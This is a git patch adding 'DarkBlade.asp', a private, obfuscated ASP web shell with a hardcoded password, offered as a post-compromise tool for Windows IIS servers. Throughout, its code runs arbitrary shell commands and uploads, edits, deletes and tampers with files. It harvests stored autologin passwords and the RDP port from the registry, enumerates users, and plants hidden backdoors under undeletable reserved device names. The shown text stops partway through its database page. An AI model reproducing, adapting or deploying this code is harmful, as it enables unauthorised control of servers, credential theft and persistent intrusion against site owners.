From bbd98f9bffb3d0aa215383ace7fc5e3fe5bc04f3 Mon Sep 17 00:00:00 2001 From: Neargle Date: Tue, 13 Sep 2016 23:05:10 +0800 Subject: [PATCH] create DarkBlade.asp the passwd is tencentisapieceofshit --- Asp/DarkBlade.asp | 3846 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 3846 insertions(+) create mode 100644 Asp/DarkBlade.asp diff --git a/Asp/DarkBlade.asp b/Asp/DarkBlade.asp new file mode 100644 index 0000000..fc301e5 --- /dev/null +++ b/Asp/DarkBlade.asp @@ -0,0 +1,3846 @@ +<%@ LANGUAGE='VBScript' CODEPAGE='65001'%> +<% +Response.Buffer=True +Response.CharSet="utf-8" +Server.ScriptTimeOut=300 +'-------------------------------Config------------------------------- +'Private version, do not share it to anybody! +'DarkBlade 1.3 by B100d5w0rd, msn:bloodsword@live.cn +'Final version, no more update +'Thanks to these hackers:Bin, Luyu, Sht +'pass:tencentisapieceofshit +Const pass="4788015D896C4760578FDD87E10A75"'tencentisapieceofshit +Const skw=True +Const aal=42 +Const gdzvu=False +Const iul="_" +Const xkur="wjiy|ihx|fwvl|vdgad|npkn|vga|dpqnl|omh|ouo|uhuv|esard|vaxil|wxh|tncir|sxib|lifba|zxsvx|tyhwc|pbshc|qaxei|ekemb" +Const qry="login" +Const tbq="GB2312" +Const fgejg="asp|asa|cer|cdx" +Const cgj="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config" +Const zphr=50 +Const cwzd="abc.asp" +Const wfsr=true' +'-------------------------------Config------------------------------- + +Dim goaction,wjiy,fwvl,vdgad,vga,dpqnl,vmycc,jcy,aplyi,cfho,zaydb,xbo,dhk,crk,cezb,plui,gzf,vuv,bud,juaw,omh,mtz,crxst,whov,ihx,qhgjo,wkfvm,ktsg,pykmg,jbn,aunk,qbh,kbcx,ignq,conn,ouo,lrmn,yjcj,oaquw,pswgc,lcsgr,uhuv,esard,fcz,vaxil,wxh,txmf,tncir,sxib,mzy,nqihw,zgj,tgs,qpry,koooz,mt,lifba,pbshc,zxsvx,tyhwc,lkp,ubg,simp,ndv,npkn,ajvx,wumm,ysktq,flit,zhi,rmpr,exfva,echs,gxyx,fhz,bgem,qgxl,eerrs,prlq,gsgex,nuser,npass,vsbms,ars,qaxei,ekemb,xyw,mfm,tfvyb +ajvx="DarkBlade 1.3 Private" +wumm="DarkBlade" +ysktq="DarkBl"&usm&"adePass" +jeulz() +prlq=cyjn() +If prlq Then +ssf() +Else +goaction=request("goaction") +End If +If Not prlq And goaction<>qry Then jab() +If wfsr And Trim(ids("AUTH"&uzm&"_USER"))="" Then +Response.Status="401 Unau"&wnb&"thorized" +Response.Addheader"WWW-AuThenti"&totbr&"cate","BASIC" +If ids("AUTH"&uzm&"_USER")=""Then Response.End() +End If +Select Case goaction +Case qry +waa() +Case"lgg" +ntpbe() +Case"fqx" +xzis() +Case"uvu" +qgz() +Case"cfxwz" +oixd() +Case"jznyg" +nhzwt() +Case"bbd" +bmhuh() +Case"yauzx" +vwhbt() +Case"croia" +dui() +Case"ueouq" +kjplx() +Case"oplmw" +pwz() +Case"Logout" +nvx() +Case"zep" +rxs() +Case"aeta","bjz" +nlq() +Case Else +nlq() +End Select +okxls +Sub jeulz() +If Not gdzvu Then On Error Resume Next +plui=Timer() +Dim svak,uofw,clky,lhuiq,vzznk,wtqm,miux,xaq +servurl=ids("URL") +Set jcy=wannd("MSX"&fygk&"ML2.XMLH"&uybs&"TTP") +Set aplyi=wannd("WS"&qfmd&"cript.S"&oda&"hell") +Set cfho=wannd("Scrip"&dlbgc&"ting.Fi"&xxjzd&"leSystemObject") +Set zaydb=wannd("Sh"&wzeok&"ell.Applicati"&jaoy&"on") +If Not IsObject(aplyi)Then Set aplyi=wannd("WS"&qfmd&"cript.Sh"&wzeok&"ell.1") +If Not IsObject(zaydb)Then Set zaydb=wannd("Sh"&wzeok&"ell.Applicati"&jaoy&"on.1") +Set dhk=new RegExp +dhk.Global=True +dhk.IgnoreCase=True +dhk.MultiLine=True +vmycc=ids("SERVER_NAME") +crk=ids("PATH_INFO") +cezb=Lcase(aiy(crk,"/")) +vuv=iiju(".") +bud=iiju("/") +qhgjo=1 +mtz=1 +End Sub +Sub ssf() +For Each uofw In request.queryString +execute uofw&"=request.queryString("""&uofw&""")" +Next +For Each svak In request.Form +execute svak&"=request.form("""&svak&""")" +Next +If InStr(ids("CONTENT_TYPE"),"multipart/form-data")=1 Then +Set ars=new upload_5xsoft +For Each clky In ars.cth +execute clky&"=ars.cth("""&clky&""")" +Next +End If +xaq=Split(xkur,"|") +For Each miux In xaq +execute""&miux&"=fkv("&miux&")" +Next +If Right(wjiy,1)="\"And Len(wjiy)>3 Then wjiy=Left(wjiy,Len(wjiy)-1) +End Sub +Sub okxls() +If Not gdzvu Then On Error Resume Next +Dim exshn +jcy.abort +Set jcy=Nothing +Set aplyi=Nothing +Set cfho=Nothing +Set zaydb=Nothing +Set dhk=Nothing +gzf=timer() +exshn=gzf-plui +echo"
" +skkkw"100%" +echo"" +echo"" +prj juaw +exshn=FormatNumber(exshn,5) +If Left(exshn,1)="."Then exshn="0"&exshn +prj"
" +echo"
Processed in :"&exshn&"seconds
" +Response.End() +End Sub +Sub waa() +If Not gdzvu Then On Error Resume Next +ndv=request("ndv") +If ndv<>""Then +ndv=qiep(ndv) +If qiep(ndv)=pass Then +Response.Cookies(ysktq)=ndv +Response.Redirect(crk) +Else +jdvsp"Fuck you,get out!" +End If +End If +uznjs"Login" +echo"

" +pppf False +echo"Password : " +vots"password","ndv","","30","" +echo" " +xzs"Get In" +echo"
" +End Sub +Sub nhzwt() +If Not gdzvu Then On Error Resume Next +Dim i,wvale,xkka,gyxm,qybv,cqavj,efba,jbnr,teyq,kge +gyxm="System"&rlt&"Root|Wi"&fhzy&"nDir|ComS"&jki&"pec|TEMP|TMP|NUMBER_OF_"&ngo&"PROCESSORS|OS|Os2Li"&kaehy&"bPath|Path|PAT"&fmcdc&"HEXT|PROCESSOR_AR"&tmt&"CHITECTURE|"&_ +"PROCESSOR_IDEN"&rfsef&"TIfIER|PR"&xpmj&"OCESSOR_LEVEL|PROCESSOR_R"&vsd&"EVISION" +xkka=Split(gyxm,"|") +execute "Set wvale=aplyi.Environ"&kupt&"ment(""SYSTEM"")" +qybv=ids("NUMBER_OF_"&ngo&"PROCESSORS") +If IsNull(qybv)Or qybv=""Then +qybv=wvale("NUMBER_OF_"&ngo&"PROCESSORS") +End If +efba=ids("OS") +If IsNull(efba)Or efba=""Then +efba=wvale("OS") +efba=efba&"(probably Windows 2003)" +End If +cqavj=wvale("PROCESSOR_IDEN"&rfsef&"TIfIER") +uznjs"Server Infomation" +skkkw"100%" +wuosu +echo"" +echo"Server parameters:" +echo"" +jwwxg +mypdl 0 +doTd"Server name:","" +doTd vmycc,"" +jwwxg +mypdl 1 +doTd"Server IP:","" +doTd ids("LOCAL_ADDR"),"" +jwwxg +mypdl 0 +doTd"Server port:","" +doTd ids("SERVER_PORT"),"" +jwwxg +mypdl 1 +doTd"Server Me"&vbxja&"mory","" +execute "doTd ilnuo(zaydb.GetSystemInformatio"&ucf&"n(""PhysicalMemoryInstalled"")),""""" +jwwxg +mypdl 0 +doTd"Server time","" +doTd Now,"" +jwwxg +mypdl 1 +doTd"Server soft","" +doTd ids("SERVER_SOFTWARE"),"" +jwwxg +mypdl 0 +doTd"Script timeout","" +doTd Server.ScriptTimeout,"" +jwwxg +mypdl 1 +doTd"Number of cpus","" +doTd qybv,"" +jwwxg +mypdl 0 +doTd"Info of cpus","" +doTd cqavj,"" +jwwxg +mypdl 1 +doTd"Server OS","" +doTd efba,"" +jwwxg +mypdl 0 +doTd"Server script engine","" +doTd ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion,"" +jwwxg +mypdl 1 +doTd"File full path","" +doTd ids("PATH_TRANSLATED"),"" +jwwxg +mtz=0 +For i=0 To UBound(xkka) +mypdl mtz +doTd xkka(i)&":","" +execute "doTd aplyi.ExpandEnviro"&xqk&"nmentStrings(""%""&xkka(i)&""%""),""""" +jwwxg +cdama +Next +iroyi +byv(Err) +echo"
" +Set wvale=Nothing +Dim bne +skkkw"100%" +wuosu +echo"" +echo"Info of disks" +echo"" +jwwxg +mypdl 0 +doTd"Driver letter","" +doTd"Type","" +doTd"Label","" +doTd"File system","" +doTd"Space left","" +doTd"Total space","" +jwwxg +mtz=1 +For Each bne In cfho.Drives +Dim oclje,lrlrz,udech,lsx,euya,rgzjr +oclje=bne.DriveLetter +If Lcase(oclje)<>"a"Then +lrlrz=jzf(bne.DriveType) +udech=bne.VolumeName +lsx=bne.Filesystem +euya=ilnuo(bne.FreeSpace) +execute "rgzjr=ilnuo(bne.To"&rfomh&"talSize)" +mypdl mtz +doTd oclje,"" +doTd lrlrz,"" +doTd udech,"" +doTd lsx,"" +doTd euya,"" +doTd rgzjr,"" +jwwxg +End If +oclje="" +lrlrz="" +udech="" +lsx="" +euya="" +rgzjr="" +cdama +Next +iroyi +byv(Err) +Set bne=Nothing +Dim pswk +Set pswk=cfho.GetFolder(bud) +echo"
" +skkkw"100%" +wuosu +echo"" +echo"Info of site:" +echo"" +jwwxg +mypdl 0 +doTd"Phys"&xuohe&"ical path:","" +doTd bud,"" +jwwxg +mypdl 1 +doTd"Current size:","" +doTd ilnuo(pswk.Size),"" +jwwxg +mypdl 0 +doTd"File count:","" +doTd pswk.Files.Count,"" +jwwxg +mypdl 1 +doTd"Folder count:","" +doTd pswk.SubFolders.Count,"" +jwwxg +iroyi +byv(Err) +prj"
" +Dim qddd,vhj,igyy +Dim lfxh,nye,fdxb,jqjr +jbnr="HKEY_LOCAL_MACHINE\SYSTEM\Curren"&ghfkv&"tControlSet\Control\Termin"&ifbxw&"al Server\Win"&zoh&"Stations\RDP-"&wrty&"Tcp\" +teyq="PortNumber" +kge=bytxz(jbnr&teyq) +If kge=""Then kge="Can't get Termin"&ifbxw&"al port.
" +qddd="HK"&gsw&"LM\SOFTWA"&qwse&"RE\Microsoft\Windows "&gud&"NT\Cur"&rtcm&"rentVersion\Wi"&atnga&"nlogon\" +nye="Au"&zbich&"toAdminLogon" +vhj="DefaultUser"&ktus&"Name" +igyy="Def"&krvi&"aultPassword" +lfxh=bytxz(qddd&nye) +If lfxh=0 Then +fdxb="Autologin isn't enabled" +Else +fdxb=bytxz(qddd&vhj) +End If +If lfxh=0 Then +jqjr="Autologin isn't enabled" +Else +jqjr=bytxz(qddd&igyy) +End If +skkkw"100%" +wuosu +echo"" +echo"Info of Termin"&ifbxw&"al port&Autologin" +echo"" +jwwxg +mypdl 0 +doTd"Termin"&ifbxw&"al port:","" +doTd kge,"" +jwwxg +mypdl 1 +doTd"Autologin account:","" +doTd fdxb,"" +jwwxg +mypdl 0 +doTd"Autologin password:","" +doTd jqjr,"" +jwwxg +iroyi +echo"" +byv(Err) +End Sub +Sub ntpbe() +Dim i,ojk,nyfm,llbqt +nyfm="MSW"&olie&"C.AdRotator,MSW"&olie&"C.BrowserTy"&vhynu&"pe,MSW"&olie&"C.NextLink,MSW"&olie&"C.TOOLS,MSW"&olie&"C.Status,MSW"&olie&"C.Counters,IISSam"&wjl&"ple.ContentRotat"&dyb&"or,IISSam"&wjl&"ple.Pa"&dvvv&"geCounter,MSW"&olie&"C.Permission"&tczi&"Checker,Ad"&rgc&"odb.Conne"&ytwmf&"ction,SoftA"&zjru&"rtisans.Fi"&vjtoc&"leUp,SoftA"&zjru&"rtisans.FileMana"&dzya&"ger,LyfUpload.UploadFile,Pe"&mqqr&"rsits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Pe"&mqqr&"rsits.Mailsender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer,IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftA"&zjru&"rtisans.ImageGen,W3Image.Image,Scrip"&dlbgc&"ting.Fi"&xxjzd&"leSystemObject,Ad"&rgc&"odb.St"&jgcbg&"ream,Sh"&wzeok&"ell.Applicati"&jaoy&"on,Sh"&wzeok&"ell.Applicati"&jaoy&"on.1,WS"&qfmd&"cript.S"&oda&"hell,WS"&qfmd&"cript.Sh"&wzeok&"ell.1,WS"&qfmd&"cript.Network,hzhost.modules" +llbqt="Ad Rotator,Browser info,NextLink,,,Counters,Content rotator,,Permission checker,ADODB connection,SA-FileUp,SoftArtisans FileManager,LyfUpload,ASPUpload,Dimac upload,Dimac JMail,CDONTS SMTP mail,ASPemail,ASPmail,dkQmail,Geocel mail,IISmail,SmtpMail,SoftArtisans ImageGen,Dimac W3Image,FSO,Stream ,,,,,,Hzhost module" +aryObjectList=Split(nyfm,",") +aryDscList=Split(llbqt,",") +uznjs"Server Object Probe" +echo"Check for other ObjectId or ClassId.
" +pppf True +vots"text","omh",omh,50,"" +echo" " +xzs"Check" +xpor +If omh<>""Then +rwxiy +Call sikc(omh,"") +echo"" +End If +echo"
" +echo"
" +End Sub +Sub xzis() +Dim kns,zoiz,dowwj +uznjs"Users and Groups Imformation" +Set dowwj=getObj("WinNT://.") +dowwj.Filter=Array("User") +slv"User",False +skkkw"100%" +For Each kns in dowwj +wuosu +echo""&kns.Name&"" +jwwxg +ejh(kns.Name) +Next +iroyi +echo"
" +byv(Err) +slv"UserGroup",False +dowwj.Filter=Array("Group") +skkkw"100%" +mtz=1 +For Each zoiz in dowwj +mypdl mtz +doTd zoiz.Name,"" +doTd zoiz.Description,"" +jwwxg +cdama +Next +iroyi +echo"" +byv(Err) +End Sub +Sub qgz() +If Not gdzvu Then On Error Resume Next +Dim gob,xcas,spjc,xhs +If crxst<>""Then Session(crxst)=whov +uznjs"Server-Client Information" +slv"ServerVariables",True +skkkw"100%" +mtz=1 +For Each spjc In Request.ServerVariables +mypdl mtz +agb spjc +doTd ids(spjc),"" +jwwxg +cdama +Next +iroyi +prj"
" +slv"Application",True +skkkw"100%" +mtz=1 +For Each spjc In Application.Contents +mypdl mtz +agb spjc +doTd uhu(Application(spjc)),"" +jwwxg +cdama +Next +iroyi +prj"
" +slv"Session",True +echo"
(ID"&Session.SessionId&")" +skkkw"100%" +mtz=1 +For Each spjc In Session.Contents +xhs=Session(spjc) +mypdl mtz +agb spjc +doTd uhu(xhs),"" +jwwxg +cdama +Next +mypdl mtz +pppf False +ckzt"Set Session","20%" +echo" Key :" +vots"text","crxst","",30,"" +echo"Value :" +vots"text","whov","",30,"" +echo"" +xpor +jwwxg +iroyi +prj"
" +slv"Cookies",True +skkkw"100%" +mtz=1 +For Each spjc In Request.Cookies +If Request.Cookies(spjc).HasKeys Then +For Each gob In Request.Cookies(spjc) +mypdl mtz +agb spjc&"("&gob&")" +doTd uhu(Request.Cookies(spjc)(gob)),"" +jwwxg +cdama +Next +Else +mypdl mtz +agb spjc +doTd uhu(Request.Cookies(spjc)),"" +jwwxg +cdama +End If +Next +iroyi +echo"" +byv(Err) +End Sub +Sub oixd() +Dim ufwx,cmj +If Not gdzvu Then On Error Resume Next +uznjs("WS"&qfmd&"cript.S"&oda&"hell Execute") +If ihx<>""Then +If InStr(Lcase(ihx),"cmd.exe")>0 And InStr(fwvl,"/c ")<1 Then +cmj=ihx&" /c "&fwvl +Else +cmj=ihx&" "&fwvl +End If +If fhz=1 Then +execute "ufwx=aplyi.Ex"&zdqq&"ec(cmj).StdOut.R"&mzk&"eadAll()" +Else +execute "aplyi.Ru"&med&"n cmj,0,False" +End If +byv(Err) +Else +ihx="cmd.exe" +End If +skkkw"100%" +pppf True +mypdl 1 +doTd"Path","20%" +gsj"text","ihx",ihx,"60%","","" +echo"" +rfc"fhz",1," View result ","checked" +xzs"Run" +echo"" +jwwxg +mypdl 0 +doTd"Parameters","" +gsj"text","fwvl",fwvl,"","","2" +jwwxg +xpor +iroyi +echo"
Result:
"&uhu(ufwx)&"" +byv(Err) +End Sub +Sub nlq() +If Not gdzvu Then On Error Resume Next +If wjiy=""Then wjiy=dpqnl +If wjiy=""Then wjiy=vuv +If goaction<>"aeta"Then goaction="bjz" +If wkfvm="down"Then +ijv() +Response.End() +End If +If goaction="bjz"Then +jbn="fso" +uznjs("FSO File Explorer") +Else +jbn="sa" +uznjs("APP File Explorer") +End If +Select Case wkfvm +Case"aay","ohp" +lbhn() +wjiy=snqsz(wjiy,"\",False) +Case"cnd" +cnd() +Case"save","kcbe" +oubu() +wjiy=snqsz(wjiy,"\",False) +Case"uqezp" +myccq() +Case"omt","uen" +omt() +Case"vhjf","gnfr" +wstda() +wjiy=snqsz(wjiy,"\",False) +Case"wkicu","okio","ehwr","cmhk" +xms() +wjiy=snqsz(wjiy,"\",False) +Case"upi" +dhj() +Case"sxg" +crj() +wjiy=snqsz(wjiy,"\",False) +Case"qvihx" +beyb() +End Select +If Len(wjiy)<3 Then wjiy=wjiy&"\" +pwbo() +End Sub +Sub pwbo() +Dim theFolder,ujq,rzpu,qot,taef,ehlw,qnzov,ydc +If Not gdzvu Then On Error Resume Next +If jbn="fso"Then +Set theFolder=cfho.GetFolder(wjiy) +qot=cfho.GetParentFolderName(wjiy) +Else +execute "Set theFolder=zaydb.Nam"&elq&"eSpace(wjiy)" +jplxa Err +qot=snqsz(wjiy,"\",False) +If InStr(qot,"\")<1 Then +qot=qot&"\" +End If +End If +ydc=wjiy +If Right(ydc,1)<>"\"Then ydc=ydc&"\" +olisd"ydc",ydc +pppf True +echo"Current Path :" +vots"text","wjiy",wjiy,120,"" +prj"" +arqt"","170px","onchange=""javascript:if(this.value!=''){xzs('"&goaction&"','',this.value);}""" +isbb"","Drivers/Comm folders" +isbb uhu(iiju(".")),"." +isbb uhu(iiju("/")),"/" +isbb"","----------------" +If Lcase(jbn)="fso"Then +For Each drive In cfho.Drives +execute "isbb drive.D"&wnz&"riveLetter&"":\"",drive.D"&wnz&"riveLetter&"":\""" +Next +isbb"","----------------" +End If +isbb"C:\Program Files","C:\Program Files" +isbb"C:\Program Files\RhinoSoft.com","RhinoSoft.com" +isbb"C:\Program Files\Ser"&tpzkq&"v-U","Ser"&tpzkq&"v-U" +isbb"C:\Program Files\Rad"&qjt&"min","Rad"&qjt&"min" +isbb"C:\Program Files\Microsoft SQL Server","Mssql" +isbb"C:\Program Files\Mysql","Mysql" +isbb"","----------------" +isbb"C:\Documents and Settings\All Users","All Users" +isbb"C:\Documents and Settings\All Users\Documents","Documents" +isbb"C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere","PcAnywhere" +isbb"C:\Documents and Settings\All Users\Start Menu\Programs","Start Menu->Programs" +isbb"","----------------" +isbb"D:\Program Files","D:\Program Files" +isbb"D:\Ser"&tpzkq&"v-U","D:\Ser"&tpzkq&"v-U" +isbb"D:\Rad"&qjt&"min","D:\Rad"&qjt&"min" +isbb"D:\Mysql","D:\Mysql" +iesnd +xzs"Go" +xpor +prj"
" +olisd"wkfvm","uqezp" +olisd"wjiy",wjiy +skkkw"60%" +mypdl 1 +gsj"file","upfile","","30%","","" +doTd"Save As :","15%" +gsj"text","qaxei","","30%","","" +gsj"button",""," Upload ","20%","onClick=""javascript:xzs('"&goaction&"','uqezp','')""","" +jwwxg +xpor +If jbn="fso"Then +mypdl 0 +pppf True +olisd"wjiy",wjiy +olisd"wkfvm","cnd" +gsj"text","qbh","","","","" +echo"" +vots"radio","kbcx","file","","checked" +echo"File" +vots"radio","kbcx","folder","","" +echo"Folder" +ckzt"New one","" +'gsj"button","makedoor","Make backdoor","","onClick=""javascript:xzs('"&goaction&"','qvihx','"&omrpv(wjiy)&"')""","" +xpor +jwwxg +End If +echo"
" +If jbn="fso"Then +If Not cfho.FolderExists(wjiy)Then +jdvsp wjiy&" Folder dosen't exists or access denied!" +okxls +End If +End If +slv"Folders",False +skkkw"100%" +wuosu +doTd"Folder name","" +doTd"Size","" +doTd"Last modIfied","" +echo"Action" +If jbn="fso"Then +echo" - " +fach goaction,"qvihx",omrpv(wjiy),"Make a hidden backdoor here","" +End If +echo"" +jwwxg +mypdl 0 +echo"" +fach goaction,"",omrpv(qot),"Parent Directory","" +echo"" +jwwxg +mtz=1 +If jbn="fso"Then +For Each objX In theFolder.SubFolders +qnzov=objX.DateLastModIfied +mypdl mtz +echo"" +fach goaction,"",objX.Name,objX.Name,"" +echo"" +doTd uhu(""),"" +doTd qnzov,"" +echo"" +fach goaction,"ehwr",objX.Name,"Copy"," -" +fach goaction,"cmhk",objX.Name,"Move"," -" +fach goaction,"gnfr",objX.Name,"Rename"," -" +fach "zep","kmulx",objX.Name,"Package"," -" +fach goaction,"ohp",objX.Name,"Delete","" +prj"" +jwwxg +cdama +Next +Else +For Each objX In theFolder.Items +If objX.IsFolder Then +qnzov=theFolder.GetDetailsOf(objX,3) +mypdl mtz +echo"" +fach goaction,"",objX.Name,objX.Name,"" +echo"" +doTd uhu(""),"" +doTd qnzov,"" +echo"" +fach goaction,"gnfr",objX.Name,"Rename"," -" +fach "zep","bbn",objX.Name,"Package","" +prj"" +jwwxg +cdama +End If +Next +End If +iroyi +prj"
" +slv"Files",False +skkkw"100%" +echo"" +wuosu +doTd"File name","" +doTd"Size","" +doTd"Last modIfied","" +doTd"Action","" +jwwxg +echo"" +mtz=0 +If jbn="fso"Then +For Each objX In theFolder.Files +taef=ilnuo(objX.Size) +qnzov=objX.DateLastModIfied +If Lcase(Left(objX.Path,Len(bud)))<>Lcase(bud) Then +ujq="" +Else +ujq=Replace(Replace(lcbr(Mid(objX.Path,Len(bud)+1)),"%2E","."),"+","%20") +End If +mypdl mtz +If ujq=""Then +doTd objX.Name,"" +Else +doTd""&objX.Name&"","" +End If +doTd taef,"" +doTd qnzov,"" +echo"" +fach goaction,"omt",objX.Name,"Edit"," -" +fach goaction,"wkicu",objX.Name,"Copy"," -" +fach goaction,"okio",objX.Name,"Move"," -" +fach goaction,"vhjf",objX.Name,"Rename"," -" +fach goaction,"down",objX.Name,"Down"," -" +fach goaction,"upi",objX.Name,"Attributes"," -" +tcpp "oyhh",objX.Name,"","","","Database"," -" +fach goaction,"aay",objX.Name,"Delete","" +prj"" +jwwxg +cdama +Next +Else +For Each objX In theFolder.Items +If Not objX.IsFolder Then +Dim wqifc +wqifc=aiy(objX.Path,"\") +ehlw=omrpv(objX.Path) +taef=theFolder.GetDetailsOf(objX,1) +qnzov=theFolder.GetDetailsOf(objX,3) +If Lcase(Left(objX.Path,Len(bud)))<>Lcase(bud) Then +ujq="" +Else +ujq=Replace(Replace(lcbr(Mid(objX.Path,Len(bud)+1)),"%2E","."),"+","%20") +End If +mypdl mtz +If ujq=""Then +doTd aiy(objX.Path,"\"),"" +Else +doTd""& aiy(objX.Path,"\")&"","" +End If +doTd taef,"" +doTd qnzov,"" +echo"" +fach goaction,"omt",wqifc,"Edit"," -" +fach goaction,"vhjf",wqifc,"Rename"," -" +fach goaction,"down",wqifc,"Down"," -" +fach goaction,"upi",wqifc,"Attributes"," -" +tcpp "oyhh",wqifc,"","","","Database","" +prj"" +jwwxg +cdama +End If +Next +End If +iroyi +echo"" +byv(Err) +End Sub +Sub dhj() +Dim xczkn,zbku,sib,jet,iihmx,ydqp,jmdc,kuce +If Not gdzvu Then On Error Resume Next +If IsObject(cfho)Then +Set xczkn=cfho.GetFile(wjiy) +End If +If IsObject(zaydb)Then +jmdc=snqsz(wjiy,"\",False) +sib=aiy(wjiy,"\") +execute "Set ydqp=zaydb.Nam"&swz&"eSpace(jmdc)" +Set zbku=ydqp.ParseName(sib) +End If +echo"
" +skkkw"60%" +pppf True +olisd"wkfvm","sxg" +olisd"wjiy",wjiy +mypdl 1 +ckzt"Set / Clone","" +doTd wjiy,"" +jwwxg +mypdl 0 +doTd"Attributes","" +If IsObject(cfho)Then +iihmx=xczkn.Attributes +jet="system " +jet=jet&"hide " +jet=jet&"readonly " +jet=jet&"save " +If iihmx>=128 Then iihmx=iihmx-128 +If iihmx>=64 Then iihmx=iihmx-64 +If iihmx>=32 Then +iihmx=iihmx-32 +jet=Replace(jet,"{$archive}","checked") +End If +If iihmx>=16 Then iihmx=iihmx-16 +If iihmx>=8 Then iihmx=iihmx-8 +If iihmx>=4 Then +iihmx=iihmx-4 +jet=Replace(jet,"{$system}","checked") +End If +If iihmx>=2 Then +iihmx=iihmx-2 +jet=Replace(jet,"{$hidden}","checked") +End If +If iihmx>=1 Then +iihmx=iihmx-1 +jet=Replace(jet,"{$readonly}","checked") +End If +doTd jet,"" +Else +doTd"FSO object disabled,can't get/Set attributes -_-~!","" +End If +jwwxg +If IsObject(zaydb)Then +mypdl 1 +doTd"Date created","" +doTd ydqp.GetDetailsOf(zbku,4),"" +jwwxg +mypdl 0 +doTd"Date last modIfied","" +gsj"text","bgem",ydqp.GetDetailsOf(zbku,3),"","","" +jwwxg +mypdl 1 +doTd"Date last accessed","" +doTd ydqp.GetDetailsOf(zbku,5),"" +jwwxg +Else +mypdl 1 +doTd"Date created","" +execute "doTd xczkn.Da"&trkgr&"teCreated,""""" +jwwxg +mypdl 0 +doTd"Date last modIfied","" +doTd xczkn.DateLastModIfied,"" +jwwxg +mypdl 1 +doTd"Date last accessed","" +doTd xczkn.DateLastAccessed,"" +jwwxg +End If +mypdl 0 +If IsObject(zaydb)Then +doTd"Clone time ","" +echo"" +arqt"qgxl","100%","" +isbb "","Do not clone" +For Each objX In ydqp.Items +If Not objX.IsFolder Then +kuce=aiy(objX.Path,"\") +isbb kuce,ydqp.GetDetailsOf(ydqp.ParseName(kuce),3)&" --- "&kuce +End If +Next +Else +echo"App object disabled,can't modIfy time -_-~!" +End If +iroyi +xpor +okxls() +End Sub +Sub crj() +If Not gdzvu Then On Error Resume Next +Dim jocm,xczkn,jmdc,sib,ydqp,zbku +If IsObject(cfho)Then +Set xczkn=cfho.GetFile(wjiy) +End If +If IsObject(zaydb)Then +jmdc=snqsz(wjiy,"\",False) +sib=aiy(wjiy,"\") +execute "Set ydqp=zaydb.Nam"&swz&"eSpace(jmdc)" +Set zbku=ydqp.ParseName(sib) +End If +If eerrs<>""Then +eerrs=Split(Replace(eerrs," ",""),",") +For i=0 To UBound(eerrs) +jocm=jocm+CInt(eerrs(i)) +Next +xczkn.Attributes=jocm +If Err Then +byv(Err) +Else +jdvsp"Attributes modIfied" +End If +End If +If qgxl=""Then +If bgem<>"" And IsDate(bgem)Then +zbku.ModIfyDate=bgem +If Err Then +byv(Err) +Else +jdvsp"Time modIfied" +End If +End If +Else +zbku.ModIfyDate=ydqp.GetDetailsOf(ydqp.ParseName(qgxl),3) +If Err Then +byv(Err) +Else +jdvsp"Time modIfied" +End If +End If +End Sub +Sub beyb() +If fileName<>""Then +Dim viu,tsuct +viu="\\.\"&wjiy&"\"&fileName +If tfvyb=1 Then +execute "Call cfho.M"&kmvta&"oveFile(ids(""PATH_TRANSLATED""),viu)" +Set tsuct=cfho.GetFile(viu) +tsuct.Attributes=6 +Response.Redirect(fileName) +Else +pjby viu,aunk +Set tsuct=cfho.GetFile(viu) +tsuct.Attributes=6 +End If +If Err Then +byv(err) +Else +jdvsp("Backdoor established,have fun.") +End If +Exit Sub +End If +pppf True +skkkw"100%" +olisd"wkfvm","qvihx" +prj"Make hidden backdoor
" +skkkw"100%" +mypdl 1 +doTd"Path","20%" +gsj"text","wjiy",wjiy,"60%","","" +ckzt"Save","20%" +jwwxg +mypdl 0 +doTd"Content","" +wdjc "aunk","",10 +echo"" +rfc"tfvyb",1,"Move myself there","onclick='javascript:document.getElementById(""aunk"").disabled=this.checked'" +echo"" +jwwxg +mypdl 1 +echo"" +arqt"fileName","100%","" +isbb"aux.asp","aux.asp" +isbb"con.asp","con.asp" +isbb"com1.asp","com1.asp" +isbb"com2.asp","com2.asp" +isbb"nul.asp","nul.asp" +isbb"prn.asp","prn.asp" +iesnd +echo"" +prj"Cannot del,cannot open in ordinary way,this will drive the web administrator madness :)" +jwwxg +iroyi +xpor +okxls +End Sub +Sub bmhuh() +If Not gdzvu Then On Error Resume Next +If vdgad=""Then vdgad=Request.Cookies(wumm&"vdgad") +vrqs() +If vdgad<>""Then +Select Case wkfvm +Case"evu" +evu() +Case"zzx" +zzx() +Case"eow" +eow() +Case"tvao","tgugh" +ndt() +Case Else +oyhh() +End Select +End If +jhbt +okxls +End Sub +Sub vrqs() +Dim rs,jjjv,czw,qieq +If Not gdzvu Then On Error Resume Next +uznjs("Database Operation") +pppf True +prj"Connect String : " +vots"text","vdgad",vdgad,160,"" +echo" " +xzs"OK" +xpor +slv"GetConnectString",True +skkkw"100%" +mypdl 1 +doTd"SqlOleDb","10%" +prj"Server:" +vots"text","MsServer","127.0.0.1","15","" +echo" Username:" +vots"text","MsUser","sa","10","" +echo" Password:" +vots"text","MsPass","","10","" +echo" DataBase:" +vots"text","DBPath","","10","" +echo"" +gsj"button","","Generate","10%","onClick=""javascript:apxyh(MsServer.value,MsUser.value,MsPass.value,DBPath.value)""","" +jwwxg +mypdl 0 +doTd"Jet","" +prj"DB path:" +vots"text","accdbpath",vuv&"\","82","" +echo"" +gsj"button","","Generate","10%","onClick=""javascript:cfhn(accdbpath.value)""","" +jwwxg +iroyi +echo"
